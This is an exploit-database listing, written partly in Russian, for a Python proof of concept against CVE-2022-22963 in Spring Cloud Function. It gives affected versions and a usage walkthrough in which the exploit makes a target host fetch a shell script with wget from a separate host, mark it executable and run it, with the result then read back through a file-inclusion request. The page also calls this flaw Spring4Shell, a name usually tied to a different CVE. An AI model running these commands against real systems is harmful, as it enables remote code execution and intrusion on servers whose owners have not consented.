Sploitus

Exploit for CVE-2022-22963-PoC

kitploit · 2026-08-26

Exploit Code

MARKDOWN39 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LEMMYZ4N3771-CVE-2022-22963-POC
## CVE-2022-22963: Эксплойт Spring4Shell RCE

Это реализация на Python для Spring4Shell, CVE-2022-22963, затрагивающая сервисы, работающие на Spring Cloud Function <=3.1.6 (для 3.1.x) и <=3.2.2 (для 3.2.x).

### Пример использования:

root@kitploit:~
    
    
    # serving test.sh on local webserver
    $ cat test.sh                                                               
    #!/bin/bash
    whoami > /tmp/rce
    
    $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
    [+] Host is vulnerable
    [+] Command executed
    [+] Exploit completed
    
    $ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'             
    [+] Host is vulnerable
    [+] Command executed
    [+] Exploit completed
    
    $ python exploit.py 10.10.10.10:8080 '/tmp/test.sh' 
    [+] Host is vulnerable
    [+] Command executed
    [+] Exploit completed
    
    # Provided you have LFI, you can see the contents of the file created
    $ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce
    
    user
    

### Ссылки:

https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022